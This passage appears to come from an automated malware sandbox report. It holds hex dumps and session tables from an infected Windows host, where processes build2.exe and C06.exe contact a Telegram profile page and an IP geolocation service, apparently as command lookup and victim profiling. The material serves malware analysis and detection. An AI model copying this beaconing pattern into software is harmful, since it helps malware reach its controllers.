3d 3b 7a dc c4 99 af a8 d8 ab 8c 81 65 bb 4b da 60 50 a6 12 e8 9c de 56 62 1c 56 51 55 b7 fb a2 24 e8 a6 b7 30 f9 3f 58 f9 ad 54 2b 6b 32 55 17 96 95 56 45 63 cd 59 d9 06 ee 20 e4 c5 6f 34 b4 b4 26 bc ee dc 23 dd e7 Data Ascii: @X-RC O>P<2[6?>?cbv*%zq0u;A[+I:5_E:LOvv`$G wJUJVPf&n7nok3,b(lp85)gn)NDx#8l6y)7=;zeK`PVbVQU$0?XT+k2UVEcY o4&#
2023-10-13 14:06:11 UTC	4316	IN	Data Raw: 6c 18 11 3a 44 c2 23 c4 76 41 6d c5 93 16 8d 8c 21 db b1 fe 09 46 a8 18 bd a1 8f 24 cd 99 e2 e7 e1 12 f1 a4 36 6c 25 74 74 b6 fe 94 83 77 a8 6f c5 3e 78 58 99 69 eb 31 13 f3 1d 7e dc 6c 61 f4 f5 a3 68 fe 0d 3f 07 9a 5d 0b 29 bd 88 c2 a6 70 bf ed 34 cf e9 ab 13 13 22 fc a8 62 86 56 27 e7 92 f3 d0 bb 93 8b 08 51 66 66 3a 7c a9 94 fa 3b ab ba ff e3 50 88 f2 2a 53 d0 d7 83 55 30 42 8d 9d 86 76 de d7 29 a6 a5 5c 72 cd 27 e6 59 28 82 32 63 7b 42 a2 f5 73 b5 3d 50 ab 95 5b a9 78 6f 0c a8 38 02 0f 6f bf 62 56 d2 1b a1 3f 04 a0 43 09 e8 bd 16 85 ce 8f 0f 60 e8 39 46 cd e7 21 31 07 bb 5c f4 e4 29 4e 4a 41 af 73 a7 c7 38 6a c8 7b 2e 63 79 9c c8 a4 79 58 75 54 e2 09 2f 67 7e 41 5a 62 58 bd 34 1a 4e 43 09 1d 86 d0 65 de e5 c8 18 01 d5 52 17 9b 50 d7 82 47 1c e2 d4 89 Data Ascii: l:D#vAm!F$6l%ttwo>xXi1~lah?])p4"bV'Qff:\|;P*SU0Bv)\r'Y(2c{Bs=P[xo8obV?C`9F!1\)NJAs8j{.cyyXuT/g~AZbX4NCeRPG
2023-10-13 14:06:11 UTC	4332	IN	Data Raw: 08 a4 93 6e 01 e7 fe 29 d2 a7 94 05 0f 19 8e 6f 4b 22 1c e2 00 19 48 ed f1 74 46 64 ca 87 35 d1 41 69 c0 5e 99 ac df 20 53 5a 57 a7 77 82 bd 68 5d 00 e7 62 42 31 2a a6 a3 8f b3 81 4c 7e c4 29 fd 03 e4 d9 65 79 f9 93 29 4f c6 2b b3 5d ba a0 4a 66 5c 74 06 83 cc 77 f7 0a d4 55 18 d4 2e e4 00 8a bd 8d fd cd 6c 5f 71 97 fe af 0c f6 d5 02 a8 eb aa 46 e8 c6 3f a8 00 4f e7 dc 31 dd e1 30 0d 9d 93 ec f9 62 5a 4e 65 fc c7 f2 e6 b1 86 ac 0d 53 71 3f 51 bd 9a 4b 83 c6 07 95 b7 87 04 67 7f ea 15 eb 72 97 7e c8 6a 67 b0 e5 99 88 e9 12 29 57 12 91 57 32 3b 19 bd bb 12 3a 35 1e 12 cc 58 6a e2 79 1d 4b f9 64 a4 7a a2 49 92 4f 3a a3 02 00 0e fb 1b fa 66 e9 3e 9e a0 dc 2d 68 1b 3c c4 02 c2 5f 77 9d d3 78 f3 c9 4c 68 c0 6d 83 ec 73 36 49 0b b2 d4 cf df 56 ff 69 e5 d2 76 78 Data Ascii: n)oK"HtFd5Ai^ SZWwh]bB1*L~)ey)O+]Jf\twU.l_qF?O10bZNeSq?QKgr~jg)WW2;:5XjyKdzIO:f>-h<_wxLhms6IVivx
2023-10-13 14:06:11 UTC	4348	IN	Data Raw: 79 98 f7 65 38 7f d7 78 6e 7a a5 34 94 38 80 60 57 9c 26 34 06 02 24 8c 75 20 e6 34 4f 5e 27 8d f6 d3 c8 d0 d5 7f 62 84 a1 fe 3f 53 64 d1 c4 64 ef 94 58 6b e4 3d 1f 77 bb 4e e3 2e e4 ea 82 54 81 5b 41 ff 41 d8 2f 2a 17 91 21 8a de eb fe 9f 3c 95 24 a6 6a 98 e6 9d a4 73 ef 2a 4a 98 99 d1 27 2b 33 a5 c6 c2 5a fe 41 14 3d 22 b5 1a c4 48 19 24 4f 1d 27 6f 8b 6b cb 11 6c 4e 7c 62 27 1b 68 8e 7e b7 1b 0c 2d 67 0a a5 5d bf ea 5b e8 92 35 8f 0b 98 c0 35 47 f6 b7 f2 7e 90 bd 62 59 2c 05 ac 03 ae 0f 70 ba db ef d4 c9 c9 8a cb 9c 47 85 94 f2 0f 69 72 ee d2 d0 00 32 99 14 47 80 0d cc 90 63 61 0d de 61 b8 8a 78 ad 1f 80 dd 28 93 f5 5c 16 14 d5 1e c4 9f a8 a4 1a cf 66 9e d0 64 31 ae ff 89 26 87 c3 b4 24 79 38 bf a8 59 72 c7 86 0a 4e 58 3f 05 db 2d c6 a2 01 b3 2c 12 64 Data Ascii: ye8xnz48`W&4$u 4O^'b?SddXk=wN.T[AA/!<$jsJ'+3ZA="H$O'oklN\|b'h~-g][55G~bY,pGir2Gcaax(\fd1&$y8YrNX?-,d
2023-10-13 14:06:11 UTC	4364	IN	Data Raw: 21 2c a9 21 16 75 bf a4 18 93 01 0e 44 8e cc 4b 34 53 af f6 1c 6a a1 b4 c3 6d 51 8c f1 56 27 c4 a1 6d bc a8 1f f2 a0 94 13 f2 0e 00 17 5d 39 94 50 3b ef c1 e7 52 a0 0d 44 c0 74 56 60 21 1b 8d 5f 95 70 e5 2e ca 3b 00 0d 0d 00 20 58 45 ac af 9f 70 83 08 1f 8c f0 76 c8 b5 c6 99 fe 48 73 a8 80 62 a8 53 23 c0 1d bb cd b4 70 a9 41 3e 43 79 ea 50 0a 1a 12 bb 44 8e ed 1c 75 de b1 d8 f9 48 fa 33 60 5c 75 ff 23 b4 20 80 c1 5e 24 64 e3 d7 6c 96 ff 32 33 70 dd 3d 6f 6d 3b 39 3a 9c b9 9f 34 a8 d8 93 70 44 c2 6f 7a df 37 9c a6 98 ab df a3 01 46 ce 2e 0d c5 6a d4 21 f3 aa 0a f3 b8 7d 68 29 2a 63 d9 86 05 ef 3a cb b6 f0 86 ff 69 9f 85 a9 50 9e 19 ed 45 d2 80 d6 53 b6 40 bc 04 cf b8 cb 7f 32 e7 33 ad 1f f1 4a 57 ea f6 12 40 2a f7 8f 00 b8 5a 31 e9 50 fc ea f6 01 6c 71 e1 Data Ascii: !,!uDK4SjmQV'm]9P;RDtV`!_p.; XEpvHsbS#pA>CyPDuH3`\u# ^$dl23p=om;9:4pDoz7F.j!}h)c:iPES@23JW@Z1Plq
2023-10-13 14:06:11 UTC	4380	IN	Data Raw: eb 31 de d4 37 f0 98 de 6e 0a 00 11 17 ae a2 5c 44 91 d5 58 a6 87 c4 82 33 b8 ab 10 d2 d9 77 9b f6 59 c2 71 42 36 e5 27 15 33 26 ef 1a 08 a2 42 5a ec ea f0 14 e9 06 61 7e b0 2c ee e1 9e 8d 65 cb f9 cd a6 a2 6a 62 87 0b 7f 43 20 36 09 80 6b 41 2c fd f3 52 af 66 bb 1f fb 80 9d b4 c8 7b aa d0 62 f4 8b 76 52 38 96 43 b7 48 db 23 52 6c 36 9b d9 1d ed c2 b9 59 49 41 74 d8 1b 4d 83 d2 2f f2 59 e3 11 bd 6a 3d 12 b0 c2 db 0d 13 fb a3 8e cb 13 56 0c f0 1a 35 b7 d2 a7 ac d9 79 08 bd 0a f0 f1 56 35 28 ec 85 23 bc e5 b6 6a 6c f5 6b aa 57 07 07 bb df 74 94 59 0b b5 d8 f3 6f c6 9a 24 e0 89 b4 99 79 92 ba 7d 7c d8 18 fa 81 a3 b4 91 63 f8 9d 03 c9 cd 29 44 29 51 ac 54 42 2d fd 3b 4e 0e f1 94 08 a1 2e 73 67 5e ae 6d c9 0a 00 6b a4 ef 41 cf be d8 e1 ed 76 34 4a 85 8e 51 72 Data Ascii: 17n\DX3wYqB6'3&BZa~,ejbC 6kA,Rf{bvR8CH#Rl6YIAtM/Yj=V5yV5(#jlkWtYo$y}\|c)D)QTB-;N.sg^mkAv4JQr
2023-10-13 14:06:11 UTC	4396	IN	Data Raw: bd 81 38 f8 0e 37 23 61 4a cf 2b 13 ea c4 a4 59 d7 29 e7 74 1d f1 90 66 cd fa ff 12 ad e2 73 38 82 5f f5 90 13 b5 ef f4 02 71 4c b5 4e d5 ff e3 ac 36 42 5b fd f0 0c 1b 22 32 32 b5 c6 6f 97 66 55 08 b0 13 58 2f d6 3a 34 46 b2 b9 4a 06 33 e5 a4 9c e6 d2 0d 4e 70 1f 06 a4 35 cb 14 8e 04 cf ef aa 5e 62 89 c6 06 2b 81 7e be 2f 02 36 52 99 6b dd 78 10 52 e7 fb 9c f2 5f af 3c 94 3c 66 91 4c 63 a7 33 a0 02 c5 22 ab 45 e2 84 de a7 50 1a 99 73 5a a3 f8 aa 95 48 4f 1b 50 ea 22 80 7b c0 e9 57 05 94 9e 15 5b 4f ab e3 79 0a f2 ba b1 43 81 15 32 7a 8a 97 31 01 c9 b1 bd 14 96 12 2c 5b 06 75 33 ae 81 6f 08 f7 fa a2 bd 15 46 6a 67 29 0c c0 08 bf ad e3 be 50 16 1f 12 43 3d 3f 3d d7 87 fc cd 39 03 8f 57 10 b2 b5 31 f8 81 f0 63 7e b3 87 f0 7f cf c4 8f 6c a2 6b ec 03 81 07 c5 Data Ascii: 87#aJ+Y)tfs8_qLN6B["22ofUX/:4FJ3Np5^b+~/6RkxR_<<fLc3"EPsZHOP"{W[OyC2z1,[u3oFjg)PC=?=9W1c~lk
2023-10-13 14:06:11 UTC	4412	IN	Data Raw: f9 08 68 1f 68 1c b8 b4 17 19 70 fa 15 78 d4 a9 b3 56 9b 91 8c 4c d7 c0 e8 28 5f f5 80 56 12 04 3c 50 f2 30 48 b5 2b cc e1 fc c4 82 74 39 e0 96 6f c4 ae f7 1e 44 85 72 46 62 4e 57 3f b4 14 07 15 7e 2b 9e 27 e4 1a 21 ff 9a 23 21 04 69 b5 f7 53 ea 4e 50 63 df 42 ea 08 bf b2 53 25 fc 28 53 d0 7a 0d eb 87 c7 88 fe 1c 8d b2 3b 0d f5 9a ae bb 43 c0 07 8f 0a e6 37 30 c5 a1 91 bb 91 c3 1d 8d e4 1c 2d e9 be 77 29 4d f1 38 1e 8a 3d 55 8d 52 c3 11 af 70 72 c3 14 9d db 3a 74 2b fc a4 1c 15 65 00 0e 8e 29 b7 05 89 d9 9d f3 6e 53 be 91 6d 79 8d 63 c0 7d ef 4c 0a a0 6a 73 09 2c 80 ce e8 ea 2b d2 b8 64 7c 2f ea 41 2c 3b c8 b0 87 fe d7 cd be 95 2a 1f 76 70 8e 14 6c 38 d7 f4 d1 dd c3 4e 1c 53 1a 65 6e fb 14 45 ba 6c aa 83 d7 bd 90 c0 42 3c 86 05 2b 04 10 49 d0 ba 1e 33 f0 Data Ascii: hhpxVL(_V<P0H+t9oDrFbNW?~+'!#!iSNPcBS%(Sz;C70-w)M8=URpr:t+e)nSmyc}Ljs,+d\|/A,;*vpl8NSenElB<+I3
2023-10-13 14:06:11 UTC	4428	IN	Data Raw: 97 67 34 cc b6 8f 48 cb 9d 27 62 ac 4a 73 f4 81 85 b3 b9 e2 50 8d 62 86 b7 1b 64 2a 48 36 76 4e 2e ae 13 b0 d7 bc 94 1e 4b 36 64 8d 8f 19 c4 42 a3 6d e5 4b 60 a0 b2 bf ce e0 2f b3 72 90 8b fa f9 2d 39 65 d0 e1 5a 2e e3 c3 47 06 03 14 64 9b 29 7c fb 58 6f 2e d8 17 70 36 6a cb ae a9 bf 13 a6 69 75 09 1f 00 97 20 cf 8d e9 88 f6 c0 45 db ab 1a d0 65 3b d5 80 12 fe 38 6c 05 66 04 3a cb bd 13 f2 2e 51 ba 4c c4 66 16 21 35 21 d8 14 7a 40 9f da 25 51 8b a6 2f db a8 66 19 98 c8 09 60 f9 c5 ea a4 8f 9a 05 c8 8f f3 84 1f e4 08 d5 4a d9 14 d6 a7 41 74 e6 89 60 33 85 0a 74 4e 4c 96 05 61 15 19 7a a5 87 71 27 58 8b 74 fc 9d 18 4f 05 08 e8 f8 b0 63 14 aa 14 c2 22 e9 7d c2 f1 07 d2 1a e9 70 1d 2a fe 6f 0d c9 ae 10 61 9a 7e 39 15 bc 54 1e 11 9c 48 dc fe e0 a5 4c 71 89 e9 Data Ascii: g4H'bJsPbdH6vN.K6dBmK`/r-9eZ.Gd)\|Xo.p6jiu Ee;8lf:.QLf!5!z@%Q/f`JAt`3tNLazq'XtOc"}poa~9THLq
2023-10-13 14:06:11 UTC	4444	IN	Data Raw: 42 42 42 42 42 42 42 42 42 42 42 38 4b db be 22 50 4d e5 c2 61 61 00 82 37 b5 4c 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 6c 4a 7f 09 00 e5 ec 61 ec 52 c2 00 f0 7c 82 9e eb 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 f3 55 db 76 97 00 c2 9f c2 ef 33 e6 33 c2 9f ae 60 89 78 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 b7 7a 31 75 e6 c2 e6 28 33 97 28 28 e6 f0 7c 97 ce 15 78 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 b9 3d db 75 c2 e5 97 ae e6 97 ef f0 dc 82 ef e6 dc 15 78 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 2f a1 24 b8 82 ec Data Ascii: BBBBBBBBBBB8K"PMaa7LBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBlJaR\|BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBUv33`xBBBBBBBBBBBBBBBBBBBBBBBBBBBBBz1u(3((\|xBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=uxBBBBBBBBBBBBBBBBBBBBBBBBBBBBB/$
2023-10-13 14:06:11 UTC	4460	IN	Data Raw: 7e 82 7e 85 83 80 81 7f 7d 82 82 80 7b 79 7b 82 7f 7e 83 7b 80 81 81 82 81 7b 7c 83 7c 81 7b 85 83 7d 7c 80 85 7b 81 84 83 86 7c 83 7f 7d 83 83 7c 7d 84 7f 7c 84 82 7c 7b 7f 7a 7a 7a 7e 80 83 82 84 7c 82 83 83 7b 83 7e 85 7c 80 7f 7e 80 85 83 80 7a 80 7f 83 7e 80 84 80 7f 81 7f 7f 81 82 7f 80 7f 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 7b 85 80 85 80 81 7c 83 7b 7e 83 7b 7e 7b 7f 80 7c 81 7d 83 80 82 81 79 81 7f 7d 81 7d 81 81 81 85 82 80 7f 80 7d 80 82 7d 84 81 7b 7c 80 7e 83 86 7f 81 85 7f 7b 7b 85 7b 7f 82 81 7e 80 80 7c 7a 7a 7a 84 7c 7a 80 7a 80 80 7b 80 85 7f 7d 81 7c 7f 7e 7d 80 84 84 7f 7d 80 7b 83 80 81 80 7c 7f 7b 7f 7b 7c 84 7c 7b 7f 7c 7f 7e 82 7c 7b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 81 82 85 7f 7e 7d Data Ascii: ~~}{y{~{{\|\|{}\|{\|}\|}\|\|{zzz~\|{~\|~z~{\|{~{~{\|}y}}}}{\|~{{{~\|zzz\|zz{}\|~}}{\|{{\|\|{\|~\|{~}
2023-10-13 14:06:11 UTC	4476	IN	Data Raw: 7e 7f 7f 7e 7f 7f 7e 80 80 80 80 80 81 80 81 81 80 80 80 7f 7e 7f 81 7f 7f 7f 7f 80 7e 81 7f 81 7f 7f 7f 81 80 7f 81 80 7e 81 81 80 80 81 80 7f 7f 81 7f 80 81 7e 7e 81 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 81 7e 80 81 80 7e 7f 7f 7e 7e 7e 7f 7f 7f 7f 7f 80 80 80 80 80 7f 80 80 81 7e 80 7e 80 7f 80 7f 80 7e 80 80 7e 80 7f 81 80 7e 7e 81 81 7f 7e 7f 7f 80 80 7f 7f 7f 81 7f 7f 80 7e 7e 7f 80 7f 7f 7e 81 81 7e 80 80 80 80 7e 7e 7f 7f 7e 7f 80 7f 81 7e 7f 7f 80 81 81 7f 80 7e 7e 7e 81 7e 80 7f 80 81 7e 80 7f 80 80 7f 7f 7e 7e 81 7f 7f 80 7e 80 80 80 81 7e 80 80 7e 80 80 7f 80 7e 80 7f 7f 80 80 7f 7e 80 80 80 7f 80 7f 7f 7f 81 7f 81 80 7e 7f 80 81 80 7f 80 7e 80 80 81 81 7f 81 7f 80 80 80 7f 7f 7f 7e 80 81 80 80 7f 7f 00 00 00 00 00 00 00 Data Ascii: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-10-13 14:06:11 UTC	4492	IN	Data Raw: c0 ff 91 00 d2 ff b1 00 e4 ff d1 00 ff ff ff 00 00 00 00 00 26 2f 00 00 40 50 00 00 5a 70 00 00 74 90 00 00 8e b0 00 00 a9 cf 00 00 c2 f0 00 00 d1 ff 11 00 d8 ff 31 00 de ff 51 00 e3 ff 71 00 e9 ff 91 00 ef ff b1 00 f6 ff d1 00 ff ff ff 00 00 00 00 00 2f 26 00 00 50 41 00 00 70 5b 00 00 90 74 00 00 b0 8e 00 00 cf a9 00 00 f0 c3 00 00 ff d2 11 00 ff d8 31 00 ff dd 51 00 ff e4 71 00 ff ea 91 00 ff f0 b1 00 ff f6 d1 00 ff ff ff 00 00 00 00 00 2f 14 00 00 50 22 00 00 70 30 00 00 90 3e 00 00 b0 4d 00 00 cf 5b 00 00 f0 69 00 00 ff 79 11 00 ff 8a 31 00 ff 9d 51 00 ff af 71 00 ff c1 91 00 ff d2 b1 00 ff e5 d1 00 ff ff ff 00 00 00 00 00 2f 03 00 00 50 04 00 00 70 06 00 00 90 09 00 00 b0 0a 00 00 cf 0c 00 00 f0 0e 00 00 ff 20 12 00 ff 3e 31 00 ff 5c 51 00 ff 7a 71 Data Ascii: &/@PZpt1Qq/&PAp[t1Qq/P"p0>M[iy1Qq/Pp >1\Qzq
2023-10-13 14:06:11 UTC	4508	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff c0 00 3f ff f0 b0 1f ff fc 00 1f ff fe 00 1f ff ff 80 1f ff ff c0 1f ff e3 f0 0f ff c3 f0 0f ff c3 fc 2f ff 87 fc 0f f7 87 ff 0f f3 0f ff 8f f1 0f ff ff f0 1f ff ff f0 01 ff ff f0 03 ff ff f0 07 ff ff f0 ff ff ff f0 ff ff ff f0 83 fe ff f0 0f fc ff f0 8f f8 3f f1 ff f0 3f f3 ff fc 3f ff ff fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 28 00 00 00 10 00 00 00 20 00 00 00 01 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 00 3e 3e 3e 00 45 45 45 00 5a 5a 5a 00 62 62 62 00 68 68 68 00 76 76 76 00 7e 7e 7e 00 f0 00 a4 00 80 80 80 00 86 86 86 00 8c 8c 8c 00 a8 a8 a8 Data Ascii: ?/???( """>>>EEEZZZbbbhhhvvv~~~

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49790	149.154.167.99	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:17 UTC	4514	OUT	GET /cahalgo HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0 Host: t.me

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49744	23.36.118.84	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:05:02 UTC	1	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2023-10-13 14:05:02 UTC	1	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-MSEdge-Ref: Ref A: CC1186E36C704BA5AF8177F229D6CC87 Ref B: PAOEDGE0621 Ref C: 2023-04-04T13:32:33Z Cache-Control: public, max-age=83634 Date: Fri, 13 Oct 2023 14:05:02 GMT Content-Length: 55 Connection: close X-CID: 2
2023-10-13 14:05:02 UTC	2	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	149.154.167.99	443	192.168.2.4	49790	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:18 UTC	4514	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 13 Oct 2023 14:06:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12329 Connection: close Set-Cookie: stel_ssid=adddca9463829bf08d_10020572211108232210; expires=Sat, 14 Oct 2023 14:06:17 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2023-10-13 14:06:18 UTC	4514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 63 61 68 61 6c 67 6f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @cahalgo</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.paren

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49792	104.21.65.24	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:18 UTC	4526	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	104.21.65.24	443	192.168.2.4	49792	C:\Users\user\AppData\Local\Temp\C06.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:19 UTC	4526	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 13 Oct 2023 14:06:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KudX0S%2FFjG9idKkluE5cPN2Uy%2Be3gP%2F1BHlj%2F0ROmKnBlUHfHl9YMI9kTg1QpApcq4uMij%2BUJi4HvWV0zdQlYVnUnioQ3qFpbcscWZr5Bf6HjXyeUAUqKribVvHV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 815824772fb22b82-LAX alt-svc: h3=":443"; ma=86400
2023-10-13 14:06:19 UTC	4527	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 64 38 62 30 62 64 62 34 61 38 39 38 65 61 62 31 61 38 66 36 62 35 62 64 65 37 61 62 61 64 62 61 62 32 62 64 62 62 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#d8b0bdb4a898eab1a8f6b5bde7abadbab2bdbb
2023-10-13 14:06:19 UTC	4528	IN	Data Raw: 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 30 66 36 37 36 61 36 33 37 66 34 66 33 64 36 36 37 66 32 31 37 61 36 65 33 30 37 63 37 61 36 64 36 35 36 61 36 63 37 62 33 32 33 64 36 36 37 66 32 31 37 61 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#0f676a637f4f3d667f217a6e307c7a6d656a6c7b323d667f217a
2023-10-13 14:06:19 UTC	4528	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49795	172.217.14.109	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:19 UTC	4528	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk; 1P_JAR=2023-10-04-09
2023-10-13 14:06:19 UTC	4529	OUT	Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	49796	142.250.72.238	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
